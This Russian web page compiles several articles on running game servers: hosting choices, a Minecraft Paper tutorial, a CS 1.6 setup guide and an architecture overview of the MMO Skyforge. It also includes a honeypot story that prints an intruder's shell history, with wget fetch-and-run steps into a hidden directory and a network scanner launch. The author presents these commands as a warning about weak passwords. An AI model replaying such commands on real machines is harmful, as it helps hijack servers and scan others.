Как создать игровой сервер: Как запустить свой собственный игровой сервер

Содержание

Как запустить свой собственный игровой сервер

Вы можете разместить игровой сервер на своем ПК, иногда удобнее иметь облачный сервер, работающий 24/7. Хостинг игровых серверов может быть удивительно дешевым, особенно если вы просто хотите поиграть с несколькими друзьями. Давайте разберемся более подробно как создать сервер для игры с друзьями.

Выделенный сервер против общего хостинга

Выделенный сервер — это когда вы арендуете всю стойку сервера или зачастую часть ресурсов этой стойки. Вам часто дают подробные спецификации о том, что именно вы покупаете, и вы как правило будете платить немного больше по сравнению с общим хостингом.

Общий хостинг запускает несколько экземпляров игрового сервера на нескольких серверных стойках, что позволяет хостинг-провайдеру экономить деньги и обеспечивать низкую цену. Однако не всегда понятно, какие спецификации вы получаете, и вы можете столкнуться с проблемами перегрузки, если ваш сервер сильно загружен.

Если вы хотите настроить сервер для себя и пары друзей, мы рекомендуем вам сэкономить деньги и подключить общий хостинг. Если вы хотите, чтобы на вашем сервере играло много людей, вам следует подобрать выделенный сервер.

В зависимости от того, у какого провайдера вы покупаете сервер, вы также можете получить управляемый хостинг, когда провайдер создает инструменты для автоматической установки, настройки и управления вашим сервером, такие как автоматический перезапуск и простая установка модов.

Варианты общего хостинга

Все перечисленные здесь опции также являются управляемым хостингом. Вам не нужно будет слишком беспокоиться о настройке, так как она должна быть относительно простой.

Gameservers.com: Очень дешевые серверы для небольших проектов, так как вы платите за необходимое количество игровых слотов. Достойная панель управления, но без защиты DDOS.

Friendhosting.net: Преимущества выделенного сервера и гибкости настроек виртуального хостинга по доступной цене, а также на сёрче хорошие отзывы о Friendhosting.net.
Low.ms: компромисс между выделенным и общим сервером, но в то же время обеспечивающий хорошую панель управления для большинства игр. Вы будете знать, какие спецификации вы получаете, но вам придется доплатить за выделенную ветку. Они также добавляют брендинг в заголовок вашего сервера.
Nodecraft: поставщик общего хостинга, который не взимает плату за слот. Они имеют разные уровни, сегментированные по ОЗУ и количеству экземпляров, которые вы можете запустить. Фактически, вы можете разместить несколько серверов на одном уровне, если позволяет оперативная память.

Какой бы вариант вы ни выбрали, убедитесь, что он имеет функциональную панель управления и поддерживает нужную вам игру.

выделенный сервер

Варианты выделенного сервера

Выделенный сервер дает вам гораздо больше свободы и контроля. Вы можете разместить несколько игровых серверов в одном боксе, а также несколько разных игр, и поскольку у вас есть полный доступ к боксу, вы даже можете разместить веб-сервер для запуска сайта вне сервера или чего-либо еще, не связанного с игрой.

OVH: только два местоположения, Канада и Франция, но предлагают очень мощные серверы по доступной цене. Если вас не интересует новейшее оборудование Gen, вы можете арендовать их старое оборудование у их дочерней компании SYS.
Gameservers.com: Хотя эта компания специализируется на общем хостинге, она также предлагает выделенные серверы в качестве опции.
Amazon Web Services: больше премиального корпоративного варианта. Если вы разработчик игр и хотите разместить серверы, вам стоит обратить внимание на AWS GameLift. Если вы ищете один универсальный сервер, EC2 будет более подходящим. А если вы студент, вы можете получить бесплатный выделенный сервер на год.

В большинстве игр Steam для загрузки и запуска сервера используется SteamCMD, хотя обычно вам необходимо настроить файл .bat со всеми инструкциями по запуску.

Другие игры могут иметь свою собственную серверную программу, которую вы можете скачать — для получения дополнительной информации обратитесь к официальной документации игры.

После того, как сервер настроен и запущен, вы должны убедиться, что порты на сервере открыты, чтобы люди могли получить к нему доступ. Этот шаг будет отличаться для каждого хоста, но если вы не видите ничего в панели управления вашего провайдера, вам скорее всего придется просто изменить настройки брандмауэра Windows и внести в белый список приложение сервера.

После того, как порты открыты, люди смогут подключаться к вашему серверу с IP-адресом или возможно только через браузер игрового сервера. В зависимости от игры вы можете получить доменное имя для своего сервера, чтобы вы могли легко запомнить IP-адрес.

Как создать игровой сервер с минимальными усилиями?

Несколько провокационное название выбрал, но оно отображает получившийся в итоге тестирования результат.

Изначально подразумевалась шуточная статья про то, как в результате взлома можно получить настроенный игровой сервер. Но после я задумался и решил расширить тему. Рассказать о том, какие пароли категорически использовать нельзя, а какие наиболее взломостойкие и в то же время легко запоминаемые.

Как быстро подобрать недостаточно надежный пароль, состоящий из букв и цифр? Как узнать надежность пароля?

qawsed123 — надежный ли это пароль? А пароль yfkbrgthtirbgth достаточно надежный?

Этот сервер предназначался для тестирования. Я проинсталлировал Debian Linux, установил пароль типа qazwsx123, открыл доступ только для ssh и http, и… благополучно забыл о сервере на несколько недель.

Когда пароль не подошел, я заподозрил неладное. Сервер получился своеобразной ловушкой (trap, honeypot), которую я использовал в качестве наглядного примера.

После сброса пароля с помощью vnc в первую очередь я проверил журнальные файлы, запущенные процессы и историю команд, вводимых с консоли. Как оказалось, к серверу был подобран пароль, и на нем развернуты некие сервисы. По логам авторизации видно, что понадобилось менее трех дней брутфорса, чтобы подобрать root-пароль.

Nov 10 04:09:32 honeypot sshd[2611]: Server listening on 0.0.0.0 port 22.
Nov 10 04:09:32 honeypot sshd[2611]: Server listening on :: port 22.
Nov 10 17:59:11 honeypot sshd[19958]: Failed password for root from 122.225.97.91 port 3061 ssh3
Nov 10 17:59:13 honeypot sshd[19958]: Failed password for root from 122.225.97.91 port 3061 ssh3
Nov 10 17:59:16 honeypot sshd[19958]: Failed password for root from 122.225.97.91 port 3061 ssh3
…
Nov 13 04:16:21 honeypot sshd[190435]: Accepted password for root from 87.52.18.35 port 55011 ssh3

Как же такое могло произойти? Вроде бы и пароль не короткий, помимо букв есть и символы. При подборах пароля, помимо проверки на словарные слова, проверяются еще и наиболее популярные пароли.

Так как же защититься от таких злоумышленников?

Первый вариант — использовать для создания и хранения паролей специализированные программы, к примеру LastPass или KeePass, они кроссплатформеные и умеют синхронизироваться через интернет. В таком случае достаточно сгенерировать и запомнить один пароль, чтобы получить доступ к остальным.

Второй вариант — придумать и запомнить очень сложный пароль и использовать его для всех учетных записей. Но менять его постоянно и регулярно на не менее сложный.

Третий вариант, на мой взгляд, самый простой и в то же время надежный и удобный для ввода с клавиатуры. О нем я узнал в книге Еви Немет “UNIX: Руководство системного администратора”, п.3.3. Это принцип “шокирующего абсурда”, предложенный Гради Уордом для выбора идентификационной фразы для PGP:

“Принцип «шокирующего абсурда «заключается в составлении короткой фразы (или предложения), которая лишена смысла и в то же время вызывает шок у пользователя в данной культурной среде. То есть она должна содержать совершенно неприличные или расистские высказывания либо состоять из абсолютно не стыкующихся между собой выражений. Применять такой подход не предосудительно, поскольку подразумевается, что пароль никогда не станет известен людям, чьи чувства могут быть им оскорблены. Маловероятно, чтобы подобный пароль был повторен кем-то еще, так как он уникален по своей сути. При этом он легко запоминается, потому что имеет яркую эмоциональную окраску. Сдержанный пример шокирующего абсурда выглядит так: «Моллюски отгрызли мои гарцующие гениталии».

Любой читатель без труда придумает гораздо более шокирующие фразы.

Для поиска и проверки паролей на безопасность можно воспользоваться специализированными программами. Об этом у нас есть статья в энциклопедии хостинга об аудите паролей на сервере.

Перейдем к тому, что произошло на сервере.

Через 12 часов после активации сервера первыми начали брут-форс атаку боты с китайских IP-адресов 122.225.97.x, но удача сопутствовала одинокому датчанину с адресом 87.52.18.35. После чего началось самое интересное. Привожу историю вводимых команд в консоли сервера со своими комментариями:

11  apt-get update && apt-get upgrade

произведено обновление системы

12  apt-get install screen

установка screen для запуска приложений в виртуальных консолях, которые остаются запущенными даже при отключении пользователя от терминала

13  passwd

теперь сменен пароль

14  cd /var/tmp ; mkdir " " ; cd " " ; wget www.<сайт>_redirecte_linux_hlds_dp.tar.gz ; tar xzvf csservers_redirecte_linux_hlds_dp.tar.gz  ; cd csservers_redirecte_linux_hlds_dp ; chmod +x * ; screen ; ./start

создана скрытая директория “ “ (пробел), в которую загружен и запущен игровой сервер CS

15  w

<…>

36  mkdir " " ; cd " " ; wget http://<сайт>.com/scan.pdf ; tar xzvf scan.pdf ; rm -rf scan.pdf ; cd scan ; chmod +x * ; screen

здесь, вероятно, попытка установить более серьезное приложение для прослушки паролей или брутфорса других серверов

37  ./start
38  apt-get install ia32-libs
43  mkdir " " ; cd " " ; wget http://www.<сайт>.com/scan.tgz ; tar xzvf scan.tgz ; rm -rf scan.tgz ; cd scan ; chmod +x *
44  ./a 94.23
54  rm scan.pdf

приложение запущено, а сам исполняемый файл удален для осложнения поиска источника.

Вот так я и получил бесплатный игровой сервер CS 1.6. Надеюсь, эта статья покажет вам всю серьезность последствий использования ненадежного пароля и уменьшит вероятность взлома почтового ящика или аккаунта на вашем сервере.

Поднимаем свой полноценный игровой Minecraft сервер с мини-играми. Часть 1. Выбираем и устанавливаем сервер

Часть 2. Устанавливаем карту для лобби сервера

Часть 3. Устанавливаем мини-игры

tl;dr;
И так, что будет сделано в конце всего туториала?

  • создадим основной сервер, так называемое лобби — место, куда попадают все игроки, только что подключившиеся к серверу
  • запустим второй сервер, на котором установим популярную мини-игру Murder Mystery
  • установим и настроим прокси сервер, который соединит игровой клиент и запущеные серверы таким образом, что игроки не заметят, что они переходят с одного сервера на другой
  • создадим игрового персонажа, который будет перенаправлять нас на сервер с мини-игрой
  • Установим еще одну популярную мини-игру SkyBlock
  • Добавим внутриигровое меню на основе предметов инвентаря игрока
  • Добавим внутриигровые деньги
  • Создадим магазин
  • … и многое другое

Посмотреть, что в итоге получилось у меня: mc.piratebayserver.net
По любым вопросам пишите в Discord.

Поехали!

Я никогда раньше не играл в Minecraft. Скажу даже больше, мне он был не особо интересен. Скорее все, по причине того, что я не понимал его идеи. Да, я видел, что в нем можно строить бесконечное множество сооружений, выращивать разного вида растения и животных, строить механизмы. Но я все еще не мог понять, как за этой игрой с примитивной графикой мои дети могут проводить целые дни напролёт.

Но вот в один прекрасный день, восьмилетний сын пожаловался, что у него мало друзей и ему почти не с кем играть в Minecraft. Я начал думать, как ему помочь найти больше друзей и решить проблему с игрой по сети. Я знал, что есть альтернативная версия сетевой игры от Minecraft, которая называется Realms. Это платная подписка, по которой ты можешь создавать свой сервер, а Minecraft выступает хостером. Недостаток этого варианта в том, что играть на таком сервере может до 10 человек. Так же нет возможности устанавливать моды — дополнения от сторонних разработчиков, которые изменяют или дополняют оригинальный контент Minecraft. Такие сервера без модов еще называют ванильными.

Таким образом, изучив немного тему, я предложил ребенку поднять сервер с какой нибудь интересной картой и разместить его адрес в интернете, что бы на него заходили другие игроки. Таков был план по поиску друзей для совместной игры для сына, а для себя я решил, что это отличный вариант для нового проекта, как дополнительного источника доходов, о котором я уже давным давно задумывался.

Существует две версии Майнкрафа. Одна — это Pocket Edition, предназначена для мобильных устройств и Windows 10, вторая — Java Edition, для ПК. Как оказалось они не совместимые друг с другом, поэтому я выбрал Java Edition, так как в игровом мире этой версии больше возможностей, в добавок под нее существует более широкий выбор плагинов. Ну и еще потому, что я Java разработчик.

Для хостинга я выбрал DigitalOcean, так как у меня уже был опыт его использования и создание дроплетов на нем занимает считаные минуты. Вы же можете использовать любой удобный для вас хостинг.

Для старта нам достаточно конфигурации на 2 CPU и 2 GB RAM. Я пробовал 1 CPU, но сервер жутко долго стартовал, с 1GB оперативной памяти я иногда сталкивался с крашем сервера при импорте крупных карт.

При создании дроплета я выбрал способ аутентификации — SSH key

Выполнил инструкции по его созданию

И так, виртуальный сервер готов.

Заходим на него по ssh:

ssh -i ~/minecraft root@IP_address

где ~/minecraft — путь к созданному приватному SSH ключу, IP_address — выданный хостингом IP адрес.

Хотел бы заметить, что для запуска сервера не рекомендуется использовать пользователя root, так как это может позволить злоумышленикам через уязвимые плагины нанести вред вашему серверу. Как добавить нового пользователя, вы можете ознакомиться по ссылке.

Если кратко, то создаем пользователя (dinikin замените на вашего пользователя):

adduser dinikin

и предоставляем ему права администратора:

usermod -aG sudo dinikin

и права удаленного достпа по SSH:

rsync --archive --chown=dinikin:dinikin ~/.ssh /home/dinikin

Теперь начните новый сеанс и используйте SSH с новым именем пользователя:

ssh -i ~/minecraft dinikin@your_server_ip

И так, мы на сервере.

Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-66-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Apr 11 09:03:11 UTC 2020

  System load:  0.04              Processes:           96
  Usage of /:   1.7% of 57.98GB   Users logged in:     0
  Memory usage: 6%                IP address for eth0: 142.93.248.77
  Swap usage:   0%

0 packages can be updated.
0 updates are security updates.



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

dinikin@minecraft-main:~$ 

Создаем папку для нашего первого Minecraft сервера и переходим в неё:
mkdir PirateBay
cd PirateBay

Теперь нам нужно определиться с реализацией сервера. Их существует несколько, самые популярные — это Spigot, Paper, Forge. Более детально про отличия этих серверов вы можете почитать здесь.

Основное отличие от нативного Vanilla сервера в том, что модификации оригинального сервера позволяют помимо прочего запускать плагины сторонних разработчиков, существенно расширяя возможности игрового мира. Такие плагины позволяют создавай мини-игры, вводить ограничения для игроков, объединять сервера в сеть и многое другое.

Изначально я скачал и установил Spigot. Это самый популярный и хорошо оптимизированный сервер для майнкрафта. Под него разрабатывается множество плагинов и существует огромное комьюнити как разработчиков, так и пользователей.

Однако я столкнулся с тем, что при работе с одним из плагинов для редактирования карт, последний работал некорректно и в логах рекомендовал использовать Paper как более оптимизированный форк на основе Spigot.

В итоге я остановил свой выбор на Paper, хотя для некоторых инстансов сервера оставил Spigot. Теперь нам нужно установить и запустить выбранный сервер. Качаем последнюю версию сервера:

curl -kLJ https://papermc.io/api/v1/paper/1.15.2/165/download -o Paper-1.15.2.jar

и пробуем запустить
java -Xms1G -Xmx1G -XX:+UseConcMarkSweepGC -jar Paper-1.15.2.jar

У меня сервер не запустился, так как не установлена Java:
Command 'java' not found, but can be installed with:

sudo apt install default-jre            
sudo apt install openjdk-11-jre-headless
sudo apt install openjdk-8-jre-headless

Устанавливаем:
sudo apt update
sudo apt install default-jre

Теперь запускаем повторно:
java -Xms1G -Xmx1G -XX:+UseConcMarkSweepGC -jar Paper-1.15.2.jar

Сервер не запускается, выдавая сообщение:
You need to agree to the EULA in order to run the server. Go to eula.txt for more info.

Открываем файл:
nano eula.txt

меняем eula=false на true и сохраняем. Еще раз запускаем сервер:
java -Xms1G -Xmx1G -XX:+UseConcMarkSweepGC -jar Paper-1.15.2.jar

Сервер запустился:

Запускаем игру и подключаемя к нашему серверу:

Если у вас в друг по какой-то причине версия Майнкрафт оказалась не лицензионной, подключиться к серверу не удастся.
Что бы это исправить, в файле PirateBay/server.properties устанновите параметр online-mode=false
Но я все же рекомендую не пожалеть $26.95 и поддержать разработчиков этой замечательной игры.

Поздравляю, ваш первый сервер запущен и работает.

Что мы будем делать в следующей части:

  1. установим первый плагин
  2. подготовим пустой мир для создания лобби
  3. скачаем карту для лобби и импортируем её

Не переключайтесь!

Создание сервера CS, специально для «новичков» » Makeserver.ru

Привет всем ) Вот решил написать краткий фак по созданию(Установке) сервера CS !

И так приступим smile …..

1) Для начала нам надо скачать сервер.

Качаем например этот СКАЧАТЬ СЕРВЕР, распаковываем туда, где у вас установлена CS ! У меня так (C:\Program Files\Valve\cstrike\ )

2) Делаем себя админом сервера.
Как сделать себя админом написано тут https://makeserver.ru/1186-delaem-sebja-adminom.html

3) Запускаем ваш сервер.

Идём сюда (C:\Program Files\Valve) и запускаем файл hlds.exe

Создание сервера CS, специально для "новичков"

Game — Выбираем Counter-Strike
Server name — Пишем название сервера
Map — Выбираем карту
Network — Выбираем какой у нас будит сервер ( Lan\Internet )
Max. Players — Выбираем кол-во игроков на сервере
UDP Port — Порт сервера
RCON Password — RCON пароль сервера
Нажимаем старт

4) Сервер запущен

Создание сервера CS, специально для "новичков"

( Часто возникают вопросы как узнать мой ip, на скриншоте видно поле ip adress ( В моем случае это 10.50.170.31:27015 ) — Это и есть ip адрес сервера

Ну вот в принципе и все ваш сервер готов, осталось только подключиться к нему со своими друзьями и надавать всем по головам как следует )

Говорю сразу — это мини фак для «новичков» , никакой критики слышать я от вас не желаю ) Если вы такой умный пишите новые статьи я с удовольствием их оценю ))

Источник — www.makeserver.ru ; Автор — bow a.k.a J0!nt

Архитектура сервера онлайн-игры на примере Skyforge / Блог компании Mail.ru Group / Хабр

Привет, Хабр! Я Андрей Фролов, ведущий программист, работаю в Mail.Ru над Next-Gen MMORPG Skyforge. Вы могли читать мою статью про архитектуру баз данных в онлайн-играх. Сегодня я буду раскрывать секреты, касающиеся устройства сервера Skyforge. Постараюсь рассказать максимально подробно, с примерами, а также объясню, почему было принято то или иное архитектурное решение. По нашему серверу без преувеличения можно написать целую книгу, поэтому для того, чтобы уложиться в статью, мне придется пройтись только по основным моментам.

Обзор

  • Сервер — это почти два миллиона строк кода на Java. Для соединения с сервером и отображения красивой картинки используется клиент, написанный на C++.
  • Свой вклад в серверный код внесли полсотни программистов. Код писался в течение многих лет лучшими специалистами российского «православного» геймдева. В нем собраны все самые удачные идеи со всего мира.
  • На текущий момент у нас написано около 5200 автоматических тестов, налажен continuous integration и нагрузочное тестирование с помощью ботов.
  • Сервер умеет запускаться и работать на десятках и сотнях серверов, поддерживать игру сотен тысяч человек одновременно. Мы решили отказаться от традиционной для MMO техники шардирования и запустить всех игроков в один большой мир.

Первое и главное правило разработки сервера: клиент в руках врага. Клиент защищен, но чисто теоретически и его могут хакнуть, могут расшифровать клиент-серверный протокол. Взлом клиента может привести к обходу игровых правил, читам, ботоводству и т.п. Такие вещи разрушают игру для всех. Чтобы этого не произошло, мы должны эмулировать весь игровой мир со всеми игровыми правилами у себя на сервере, а клиент использовать только для отображения красивой картинки. Кроме того, клиент надо проверять на взлом, отслеживая подозрительное поведение и т.д.

Сервисная архитектура

Одна из основных особенностей разработки состоит в том, что мы не знаем, сколько у нас будет игроков. Может быть, всего один — сам разработчик, а может, 100000 одновременно. Поэтому сервер должен уметь запускаться в маленькой конфигурации, на ноутбуке, и растягиваться при необходимости на десятки и сотни мощных серверов.

Вторая особенность состоит в том, что при старте разработки мы понятия не имели, о чем будет наша игра, какие в ней будут особенности, сервисы и т.п. Структура сервера должна быть максимально гибкой в плане добавления новых сервисов и фич.

Третья большая проблема — это многопоточность. Как известно, лучший способ сладить с многопоточностью — это избежать ее. Deadlock, livelock, lock contention и другие милые сердцу программиста проблемы можно обойти, если архитектура сервера будет избавлять вас от необходимости синхронизировать потоки вручную. В идеале программист вообще должен писать простой однопоточный код и не задумываться о такого рода вещах.

Отсюда родилась наша универсальная структура сервера, которая используется в Skyforge:

  • Существует пул физических серверов, на которых будет запускаться игра. Этот набор серверов и наше серверное приложение, которое на них запущено, называется Realm.
  • На каждом сервере запускается серверное приложение (JVM), называемое ролью. Роли бывают разные: аккаунт-сервер, игровая механика, чат и т.д. Каждая роль берет на себя большой кусок функционала. Некоторые роли существуют в единственном числе, некоторые запускаются в нескольких экземплярах.
  • Роль состоит из набора сервисов. Сервис — это обычный поток (thread), который занимается своей, специфичной для него задачей. Примером сервиса может служить сервис авторизации, сервис резервирования имен, балансировщик нагрузки и т.п. Каждый сервис ничего не знает о физическом расположении других сервисов. Они могут быть рядом, а могут быть на другой физической машине. Сервисы взаимодействуют через систему сообщений, которая скрывает от них такого рода подробности.
  • Каждый сервис состоит из набора модулей. Модуль — это «кусок функциональности», у которого есть один метод tick(). Примером модуля может быть модуль статистики, модуль исполнения транзакций, модуль синхронизации времени. Вся работа сервиса заключается в том, чтобы в бесконечном цикле поочередно вызывать метод tick() у своих модулей. Один такой цикл называется «кадр сервера». Мы считаем показатель хорошим, если кадр сервера колеблется в пределах от 3 до 20 мс.
  • Вся эта структура описывается в XML-файлах. Системе запуска надо просто «скормить» название роли. Она найдет соответствующий файл, запустит все нужные сервисы и отдаст им списки модулей. Сами модули создадутся с помощью java reflection.

Таким образом, мы можем запустить роль «локальный сервер», где будет все необходимое, а можем разбить сервер на несколько десятков ролей — аккаунт-сервер, итем-сервер, игровая механика и т.д. — и запускать его на десятках разных физических серверов. Структура оказалась чрезвычайно гибкой и удобной, советую серьезно к ней присмотреться.

Основные сервисы

Есть некоторый набор сервисов, который несет основную игровую нагрузку. Каждый из серверов должен уметь масштабироваться. В идеале — до бесконечности. К сожалению, писать серверы так, чтобы они масштабировались, это непростая задача. Поэтому мы начали с того, что сделали основные сервисы масштабируемыми, а всякую дополнительную мелочь, которая не несет основной нагрузки, оставили на потом. Если у нас будет очень много пользователей, то и их нам придется улучшать для обеспечения возможности масштабирования.
  • Аккаунт-сервис. Отвечает за авторизацию и подключение новых клиентов.
  • Сервер игровой механики. Тут происходит, собственно, сама игра. После прохождения авторизации клиент подключается сюда и тут играет. С другими сервисами клиент напрямую не взаимодействует. Таких сервисов можно и нужно запускать несколько десятков, а то и сотен. Именно эти сервисы несут основную нагрузку.
  • Сервисы баз данных. Эти сервисы выполняют операции над данными игровых персонажей, их предметами, деньгами, прогрессом развития. Их обычно запускается несколько штук. Подробнее об архитектуре баз данных можно прочитать в моем прошлом докладе. ( habrahabr.ru/company/mailru/blog/182088 )
  • Чат. Занимается роутингом сообщений чата между пользователями.
  • Все остальные сервисы. Их несколько десятков, и они обычно не создают сильной нагрузки, поэтому не требуют обособленных серверов.
Сеть

Под словом «сеть» я подразумеваю систему доставки сообщений от одного сервиса к другому или от одного объекта к другому. Исторически так сложилось, что у нас существует сразу две такие системы. Одна основана на сообщениях. Вторая система основана на удаленном вызове процедур (RPC). В Skyforge система сообщений применяется внутри сервиса игровой механики, чтобы послать какое-то сообщение от аватара к мобу, а также для общения клиента и сервера. RPC используется для общения между сервисами.
Сообщения

Все объекты, которые хотят посылать или принимать сообщения, называются абонентами. Каждый абонент регистрируется в общей директории и получает уникальный идентификатор — адрес. Любой, кто хочет послать сообщение какому-либо абоненту, должен указать адреса «откуда» и «куда». Сетевой движок знает, где находится абонент, и доставляет ему сообщение. Сообщение — это Java-объект, у которого есть метод run(). При отправке этот объект сериализуется, прилетает к целевому абоненту, там десериализуется, а затем вызывается метод run() над целевым абонентом.

Такой подход очень удобен тем, что позволяет реализовывать простые команды типа «нанести удар», «выдать анлок», «запустить фаербол». Вся эта логика оказывается внешней по отношению к объекту, над которым выполняется действие. Большой минус этого подхода в том, что если логика команды требует выполнения какого-либо кода на нескольких абонентах, то нам потребуется сделать несколько сообщений, которые будут посылать друг друга по цепочке. Логика оказывается фрагментирована на несколько классов, и цепочки сообщений часто довольно долго и сложно распутывать.

RPC

Удаленный вызов процедур или RPC появился, чтобы решить проблему цепочек сообщений.
Основная идея заключается в использовании кооперативной многозадачности (Coroutine, Fibers). Тому, кто не знаком с это концепцией, для понимания темы советую заглянуть в «Википедию». en.wikipedia.org/wiki/Coroutine.
Сервис, который хочет, чтобы его могли вызывать через удаленный вызов процедур, должен реализовывать специальный интерфейс и зарегистрировать в специальной директории. Тогда любой желающий может попросить директорию дать ему интерфейс этого сервиса, и директория вернет специальный враппер над сервисом. Вызывать сервисы по RPC можно только внутри файбера (coroutin), т.е. специального контекста исполнения, который можно прерывать и возобновлять в точках разрыва. При вызове методов враппера он будет посылать RPC вызовы на удаленный сервис, прерывать текущий файбер в ожидании ответа и возвращать результат, когда удаленный сервер ответит.

Таким образом, мы концентрируем логику в одном методе, а не размазываем ее по сотням сообщений. Код сильно упрощается, его можно писать в терминах вызова функций каких-то объектов, а не в терминах посылки сообщений. Но возникают проблемы с неким подобием многопоточности, т.к. после того, как мы вернулись из удаленного вызова, окружение уже могло измениться. В целом такой подход очень удобен, когда у сервиса есть ограниченный интерфейс из десятка методов. Когда методов становится много, интерфейс лучше разбивать на несколько.

Подробнее о нашей имплементации файберов можно узнать из лекции Сергея Загурского ( www.youtube.com/watch?v=YWLHELcvNbE ).

Сериализация

Чтобы у нас работала система посылки сообщений и удаленный вызов процедур, нам нужен клиент-серверный протокол и способ сериализации/десериализации объектов. Напомню, что у нас есть необходимость пересылать команды и данные с клиента на сервер, т.е. из C++ в Java и обратно. Для этого мы по Java-классам генерируем их копии в C++, а также генерируем методы для сериализации и десериализации объектов в байтовый поток. Код для сериализации встраивается прямо внутрь классов и обращается к полям класса напрямую. Таким образом, сервер не тратит процессорное время на обход классов с помощью reflection. Все это мы генерируем с помощью самописного плагина для IntelliJ IDEA. Внутрисерверный протокол для общения между сервисами полностью аналогичен клиент-серверному протоколу.

При сериализации какого-либо класса в байтовый поток, сначала пишется id класса, потом данные полей этого класса. На другой стороне считывается id, выбирается соответствующий класс и у него вызывается специальный конструктор, который восстанавливает класс из байтового потока.

Игровая механика

Основной сервис, который был бы вам интересен, это сервис игровой механики. Именно там выполняется весь код, непосредственно связанный с игрой, именно там моделируется весь игровой мир, летают фаерболы и «грабятся корованы».
Карты и балансировка нагрузки

На серверах игровой механики создаются карты, на которых, собственно, находятся игроки, мобы и происходит все веселье. У каждой карты есть лимит на количество игроков, которые могут на ней находиться. Например, лимит может быть равен единице для персональных приключений, 10–30 для групповых активностей и 250 для больших карт. Что происходит, если на карту захочет попасть еще один игрок, когда лимит исчерпан? Тогда будет создана еще одна копия той же самой карты. Игроки с этих карт не будут видеть друг друга, не будут друг другу мешать. Т.е. в каком-нибудь игровом городе могут быть тысячи человек, но там не будет тесно. Такой способ организации игроков называется «каналы».

За создание карт отвечает центральный сервис «балансировщик карт», который распределяет карты по сервисам игровой механики в зависимости от популяции, нагрузки и других магических причин, стараясь поддерживать равномерное распределение нагрузки и нормальную плотность играющих, чтобы им не было скучно.

На каждом сервере игровой механики загружена информация о карте проходимостей, коллизиях и других подобных вещах. Когда игрок или моб пытается двинуться в какую-либо точку, то сервер просчитывает, может ли игрок туда попасть, не пытается ли он считерить и пройти сквозь стену. Когда игрок пытается кинуть во врага фаербол, то по этой же информации сервер рассчитывает, видит ли игрок врага и нет ли на его пути препятствий.

Аватары и мобы

Аватар — это персонаж, которым управляет игрок, моб — это монстр, которого игрок убивает. Это весьма разные, но часто очень похожие сущности. И моб, и аватар умеют ходить по карте, у них есть здоровье, они могут использовать заклинания и т.п. Только аватаром управляет игрок, а у моба есть свой мозг. Кроме того, на картах есть множество всяких сундуков, растений и других интерактивных сущностей. Очень часто нужно делать некую функциональность и цеплять ее к разным сущностям. Для этих целей мы используем компонентный подход, собирая игровую сущность из набора функциональностей. Поясню на примере. Допустим, у игрока и моба есть показатель здоровья. В таком случае мы оформляем элемент «здоровье» как отдельный Java-класс, в котором описываем, как здоровье себя ведет: как оно может уменьшаться, как восстанавливаться, какие есть таймеры и т.п. Потом мы просто складываем все функциональности в специальную HashMap внутри сущности и берем ее оттуда по необходимости. Таких компонент у нас существуют сотни, на них собрана половина игровой механики.

Так как серверное приложение очень сложное, неизбежно возникновение ошибок. Нужно сделать так, чтобы возникновение ошибки, даже необработанного NullPointerException, не приводило к падению сервера. Можно ошибку просто залогировать и пойти дальше, но если ошибка возникнет посреди какого-то длинного действия над аватаром, то аватар может оказаться в сломанном и неконсистентном состоянии. Тут нам на помощь приходит концепция под названием «локаль». Локаль — это контекст, внутри которого объекты могут ссылаться друг на друга. Объекты из одной локали не могут ссылаться на объекты из другой. Если из локали вылетает необработанное исключение, то локаль удаляется целиком. Аватары, мобы и другие сущности являются локалями, удаляются целиком и не могут держать ссылок на других аватаров и мобов. Поэтому все взаимодействие между аватарами и мобами идет через систему сообщений, хотя они находятся вместе на одной машине и в теории могли бы держать друг на друга прямую ссылку.

Репликация

Моделировать игровой мир нужно не только на сервере, но и частично на клиенте. Например, клиенту нужно видеть других игроков и мобов, которые находятся рядом с ним. Для этого используется механизм клиент-серверной репликации, когда с сервера клиентам рассылаются обновления окружающего игрового мира. Делается это с помощью генератора кода, который встраивает отсылку обновлений в сеттеры серверных Java-объектов. Вокруг игрока создается круг определенного радиуса, и если кто-то, например другой аватар, попадает в этот круг, он начинает реплицироваться на клиент. С репликацией есть фундаментальная проблема. Если в одном месте столпится N аватаров, то на каждого из них нужно будет посылать N реплик. Таким образом возникает квадратичная зависимость, что ограничивает количество аватаров, которые могут собраться в одном месте. Именно из-за этой фундаментальной квадратичности клиенты всех ММО тормозят в столицах. Мы избегаем этой проблемы, ограничивая количество игроков на карте и распределяя их по каналам.
Ресурсная система

В игре существуют сотни и тысячи заклинаний, предметов, квестов и других подобных сущностей. Как вы, наверное, догадываетесь, программисты не пишут все сотни квестов, это делают геймдизайнеры. Программист разрабатывает один Java-класс квеста, а описания всех квестов с их логикой, задачами и текстами содержатся в XML-файлах, называемых ресурсами. При старте сервера мы загружаем эти ресурсы и на их основе собираем Java-классы с описанием мира. Этими классами уже может пользоваться сервер. Примерно такая же система существует и на стороне клиента, только там ресурсы не грузятся из XML-файлов, а просто загружается заранее созданный «кусок памяти», содержащий все нужные объекты и ссылки между ними. Ресурсных файлов у нас существует несколько сотен тысяч, но их загрузка на сервере занимает около двух минут. На клиенте же все грузится за секунды. Система очень навороченная, поддерживает такие фичи, как прототипы и наследование, вложенные описатели и т.п. Поверх ресурсной системы у нас созданы специализированные программы для редактирования карт и остальных игровых сущностей.
Сервер в действии

Давайте теперь на примерах рассмотрим несколько сценариев того, как работает вся эта система в действии.
Убить собачку

Классический тест, который мы всегда проводим, если сильно изменили инфраструктуру и хотим проверить, что все работает, называется «Убить собачку». Нужно зайти клиентом на сервер и убить там какого-либо моба. Этот тест покрывает практически все основные моменты сервера и служит прекрасным примером для того, чтобы сложить все вышесказанное вместе. Давайте по пунктам разберем, что и как происходит при убиении несчастной собачки. Конечно, некоторые шаги упрощены, но это не критично для понимания.
  • Клиент посылает на аккаунт-сервер сообщение: «Хочу войти в игру».
  • Аккаунт-сервер запрашивает базу данных, проводит авторизацию и запрашивает у балансировщика карту, на которой игрок был в последний раз.
  • Балансировщик выбирает карту из уже загруженных или создает новую на наименее загруженном сервере игровой механики.
